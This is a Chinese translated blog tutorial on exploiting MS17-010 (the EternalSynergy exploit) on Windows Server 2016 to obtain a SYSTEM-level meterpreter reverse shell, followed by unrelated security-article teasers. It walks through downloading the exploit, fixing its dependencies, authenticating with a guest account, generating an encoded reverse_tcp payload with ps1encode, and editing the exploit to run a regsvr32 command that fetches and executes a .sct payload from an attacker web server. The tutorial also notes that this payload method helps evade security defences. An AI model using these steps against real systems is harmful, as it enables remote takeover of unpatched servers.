windows2016上如何通过攻击ETERNALBLUE获得meterpreter反弹

windows2016上如何通过攻击ETERNALBLUE获得meterpreter反弹

译:by  backlion

0x00前言

当微软发布MS17-010漏洞的补丁时,该漏洞影响的范围是从Windows 7到Windows Server 2016系统版本。然而,The ShadowBrokers发布的永恒之蓝攻击是非常不稳定的,可能影响到Windows Server 2012和以后的操作系统版本,导致99%的机器受到永恒之蓝的攻击。为了理解并能更好地应用,NSA已发布的漏洞通过了许多安全研究人员的研究。正因为如此,几天前,已经发布了永恒之石SYNERGY的bug漏洞(由Sleepya开发的)。并改进了漏洞利用,使其在攻击Windows Server 2012和2016系统时更加稳定。但事实是,如果你想使用这个漏洞,需要进一步弄清楚是,当我们影响目标机器时,是否了解到真正的工作原理,以及需要修改一些代码,以获得我们所期望的目标是必然的。

这就是为什么在分析漏洞之后,我再次来发布另一个如何攻击windows2016的文章。通一步一步的步骤,作者将解释所有漏洞利用的问题,使得Sleepya发布的永恒之蓝漏洞能够正常的利用,以及如何修改其特征,以便在目标机器上获得一个meterpreter反弹shell.

0x01  漏洞利用

实验搭建环境:

要搭建的实验环境,我们需要配置以下主机:

目标主机-----Windows Server 2016(将使用Windows Server 2016 64位的机器作为目标主机)

安装全新的操作系统后,无需对其进行任何更改。 知道目标IP地址就足够了,在进行攻击的时候主机是需要运行的。

攻击机-----GNU / Linux

可以使用任何其他linux操作系统这里笔者建议采用kali,只要在其中安装以下工具:

总结实验环境搭建所需的配置:

  • Windows Server 2016 x64 – IP: 10.0.2.13 ?目标主机
  • GNU/Linux Debian x64 – IP: 10.0.2.6 ?攻击主机

 

获得exploit:

漏洞利用已经在exploit-db上发布,可以从中下载,其下载地址为:

https://www.exploit-db.com/exploits/42315/

我们可以看到,该exp用Python编写的。 因此,我们将在攻击主机上以.py为扩展名保存。 然后运行该py,会在命令中会出现报错错误提示:

以上错误提示可以看到是缺少mysmb模块。

解决依赖关系:

在代码行3提示需要导入"mysmb"模块,但该模块不在python公共库中。我们可以使用pip来安装它,这个模块是由Sleepya开发的,我们必须从他的github中下载,其下载地址为:

https://github.com/worawit/MS17-010/blob/master/mysmb.py

我们将在其与exploit.py同一个文件夹中保存名为"mysmb.py"的脚本。请记住,在Python中,运行exploit.py另外需要创建一个名为"__INIT__.py"的文件,可以在文件夹中查看到。

通过这样,exploit的脚本会找到必要的导入模块,将不会再有错误提示。

检查exploit利用是否生效:

如果我们执行它,一旦漏洞利用成功,就会在目标主机上的C:磁盘上创建一个名为"pwned.txt"的文件。那么就可以验证漏洞利用是否正常使用,而无需进行太多的修改。

尽管这个简单的测试不需要修改漏洞任何本身,但我们必须设置一些参数,我们将在下文可以看到。

身份认证:

永恒之石SYNERGY漏洞利用前提需要经过身份验证的攻击,如果发动攻击,则可以通过来宾账号身份验证,否则,我们必须从目标机器中的任何其他帐户获取用户名和密码。

重要强调的是帐户的权限并不重要,即使是Guest帐户,攻击后我们获得的权限依然是SYSTEM。

要定义这些信息,我们必须使用文本编辑器打开exploit.py并跳到第26和27行进行修改:

以上图中可以设置用于身份验证的用户名和密码

参数设置:

这个exploit需要定义两个参数:目标IP地址和管道名称。 SMB协议定义了三种类型的共享:

file:文件(或磁盘)共享,表示目录树及其包含的文件

print: 打印共享,可以访问服务器上的打印资源

pipe:使用FIFO模型的进程之间通信,其中称为管道连接,同时系统保持运行,尽管该进程不再活动。

与永恒之蓝不同,ETERNALROMANCE和ETERNALSYNERGY的漏洞是利用了访问命名管道的一个bug,这就是为什么我们需要定义哪一个是用于被攻击主机。就个人而言,可使用"spoolss"或另一个是"浏览器"来访问管道。也可以使用metasploit的扫描模块:auxiliary/scanner/smb/pipe_auditor来查找目标主机内可访问的管道。

执行无shellcode:

现在,我们继续用下面的命令执行漏洞:

python exploit.py <target_ip> spoolss

正如我们之前所说的,如果执行成功,我们将看到一个新的文件名"PWNED. txt"已创建到目标主机机的C:磁盘上。

已成功执行了一大半。下一步,我们将继续分析如何一点点修改而成功能到meterpreter的反弹shell.

修改shellcode:

有很多方法可以利用exploit执行得到meterpreter 反弹shell或其他的方法,而不是仅仅将在目标主机中写入文本文件中。

第一步是生成我们将要使用的shellcode,为此作者将使用一种个人喜欢的方法,并且在躲避安全防御方面有很多的好处。

总结一下,shellcode将生成为一个.SCT文件,该漏洞利用将下载并在目标主机中执行,从而使我们成为我们需要的meterpreter’反弹shell会话。

使用PS1ENCODE创建.SCT文件:

Ps1encode是一个很有用的工具,以允许我们用PowerShell的多种格式生成和编码metasploit的有效载荷。

我们可以从github中下载:

https://github.com/CroweCybersecurity/ps1encode.

想生成所需的有效载荷,我们将使用以下参数运行该工具:

ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<ATTACKER_IP> -- LPORT=4444 -t sct

我们正在生成的.SCT文件必须存储在攻击者的主机或任何其他主机中的Web服务器中。这就是为什么在执行上一个命令时,该工具会询问我们.sct文件的完整URL是什么。如果我们要使用攻击主机,我们只需要:http:// <ATTACKER_IP>。

注意:可以将生产的.sct文件移动到/var/www/html/下,并启动web服务,使其web能访问

允许shellcode.sct下载:

最后一步在Ps1Encode的文件夹中生成了一个index.sct文件,为了让这个被漏洞利用的sct文件下载到目标主机中,我们必须将其移动到Web服务器文件夹下并设置所需的权限。

编辑exploit.py:

如果我们用文本编辑器打开exploit.py,我们移动到463行及以上,将找到以下内容:

在这里,我们可以看到通过exploit攻击并在目标主机上创建文件了一个pwned.txt文件,但更有趣的是在下面的一行中,可以在其中找到一个被注释的service_exec()函数。可以查看到,该函数以copy命令为例,创建一个pwned.txt副本文件。如果我们不删除该行之前的#符号,则不会执行该命令。如果删除#符号,再次运行这个exploit,我们将在目录主机中看到c:磁盘中有两个文本文件:pwned.txt和pwned_exec.txt。

可以清楚地看到,我们可以修改任何执行我们想要的任何其他的命令。

执行shellcode:

现在我们知道必须修改这个exploit来改变它的最终执行结果,将编辑调用函数service_exec()的包含命令将其下载到目标主机并执行meterprete的反弹shell.

regsvr32 /s /n /u /i:http://<attacker_webserver_ip>/shellcode.sct scrobj.dll

这个exploit利用将如下图所示:

获取Meterpreter会话:

最后,在执行exploit.py执行之前,我们必须配置metasploit的exploit/multi/handle来接收Meterpreter会话。

我们通过expliot来执行对修改exploit.py的最后修改保存的脚本。

几秒钟后,我们将在目标计算机上获取到Meterpreter反弹shell会话,它具有SYSTEM权限。

0x02 总结

最后,我们在Windows Server 2016 上获得了具有管理员权限的Meterpreter shell。 几周前,作者已在exploit-db社区上的发表该漏洞利用文章,但是只写了关于Windows 7和Windows Server 2008 R2以及Windows Server 2012 R2漏洞利用。 这次将发表关于windows2016的漏洞利用。

时间: 2024-07-30 00:34:43

windows2016上如何通过攻击ETERNALBLUE获得meterpreter反弹的相关文章

【转】针对Android上的ROP攻击剖析

引言       ROP(Return-oriented programming),即“返回导向编程技术”.其核心思想是在整个进程空间内现存的函数中寻找适合指令片断(gadget),并通过精心设计返回堆栈把各个gadget拼接起来,从而达到恶意攻击的目的.构造ROP攻击的难点在于,我们需要在整个进程空间中搜索我们需要的gadgets,这需要花费相当长的时间.但一旦完成了“搜索”和“拼接”,这样的攻击是无法抵挡的,因为它用到的都是内存中合法的的代码,普通的杀毒引擎对ROP攻击是无计可施的. 栈溢出

[翻译]现代Linux系统上的栈溢出攻击【转】

转自:http://www.codeweblog.com/%E7%BF%BB%E8%AF%91-%E7%8E%B0%E4%BB%A3linux%E7%B3%BB%E7%BB%9F%E4%B8%8A%E7%9A%84%E6%A0%88%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB/ 现代Linux系统上的栈溢出攻击 2012.12.21 - 06:56 — jip 预备知识: 对C语言和 X86_64 汇编语言有基本的了解 ++++++++++++++++++++++++

文件上传漏洞攻击与防御

前言 从一年前开始学习web安全以来,一直都是在吸收零碎的知识,不断地看书与一些前辈的文章,中间也经过一些实践,学习相关的工具,但是却没真真正正地在脑中形成一套完整的体系.从不久前就想着要写一些博客,趁着这个机会,便好好梳理一下所学的知识,只是这些文章所写大部分内容也是搬运前辈的文章,鲜有自己所想所悟. 关于文件上传漏洞,百度一下便有许多文章出来,在这里我也稍稍做整理. 0x00 文件上传漏洞所需满足的条件 一是文件可上传(感觉这一句是废话).二是上传文件路径可知,如果路径不可知就没法访问,亦无

大数据DDos检测——DDos攻击本质上是时间序列数据,t+1时刻的数据特点和t时刻强相关,因此用HMM或者CRF来做检测是必然! 和一个句子的分词算法CRF没有区别!

DDos攻击本质上是时间序列数据,t+1时刻的数据特点和t时刻强相关,因此用HMM或者CRF来做检测是必然!--和一个句子的分词算法CRF没有区别!注:传统DDos检测直接基于IP数据发送流量来识别,通过硬件防火墙搞定.大数据方案是针对慢速DDos攻击来搞定.难点:在进行攻击的时候,攻击数据包都是经过伪装的,在源IP 地址上也是进行伪造的,这样就很难对攻击进行地址的确定,在查找方面也是很难的.这样就导致了分布式拒绝服务攻击在检验方法上是很难做到的.领域知识见:http://blog.csdn.n

关于NSA的EternalBlue(永恒之蓝) ms17-010漏洞利用

好久没有用这个日志了,最近WannaCry横行,媒体铺天盖地的报道,我这后知后觉的才想起来研究下WannaCry利用的这个原产于美帝的国家安全局发现的漏洞,发现漏洞不说,可以,自己偷偷的用,也可以,可是,你不能泄露出来啊,我们要感谢伟大的组织Shadow Brokers(影子经纪人)多酷炫的名字,有木有很文艺的感觉,感谢他让我们小屁民也用用NSA的工具,O(∩_∩)O哈哈哈~,2016 年 8 月Shadow Brokers入侵了方程式组织(Equation Group是NSA下属的黑客组织)窃

EternalBlue永恒之蓝漏洞复现

EternalBlue漏洞复现 1.    实训目的 永恒之蓝(EternalBlue)是由美国国家安全局开发的漏洞利用程序,对应微软漏洞编号ms17-010.该漏洞利用工具由一个名为”影子经济人”(Shadow Brokers)的神秘黑客组织于2017年4月14日公开的利用工具之一,该漏洞利用工具针对TCP 445端口(Server Message Block/SMB)的文件分享协议进行攻击,攻击成功后将被用来传播病毒木马.由于利用永恒之蓝漏洞利用工具进行传播病毒木马事件多,影响特大,因此很多

渗透攻防工具篇-后渗透阶段的Meterpreter

作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23677530来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 前言 熟悉Metasploit的应该对Meterpreter不陌生,作为后渗透阶段的利器,其强大之处可想而知,那么本篇文章就带大家来学习一下Meterpreter,目的在于让大家了解它的常用命令和使用方法. 贴心提示:为提高教学效果,文章内的配图大部分是GIF,担心流量的知友请尽量在WIFI环境下观看! 目录 第一节 初识Met

【转】WEB网站常见受攻击方式及解决办法

一个网站建立以后,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种漏洞情况和防止攻击的办法. 一.跨站脚本攻击(XSS) 跨站脚本攻击(XSS,Cross-site scripting)是最常见和基本的攻击WEB网站的方法.攻击者在网页上发布包含攻击性代码的数据.当浏览者看到此网页时,特定的脚本就会以浏览者用户的身份和权限来执行.通过XSS可以比较容易地修改用户数据.窃取用户信息,以及造成其它类型的攻击,例如CSRF攻击 常见解决办法:确保输出到HTML页面的数据以HTML的方式被转

web安全之攻击

转自 知乎https://www.zhihu.com/question/22953267 作者:潘良虎链接:https://www.zhihu.com/question/22953267/answer/80141632来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 多年前写过一篇 「Web安全之SQL注入攻击技巧与防范」,今天回头再看依然有价值,就偷个懒,直接贴过来了. Web安全简史 在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可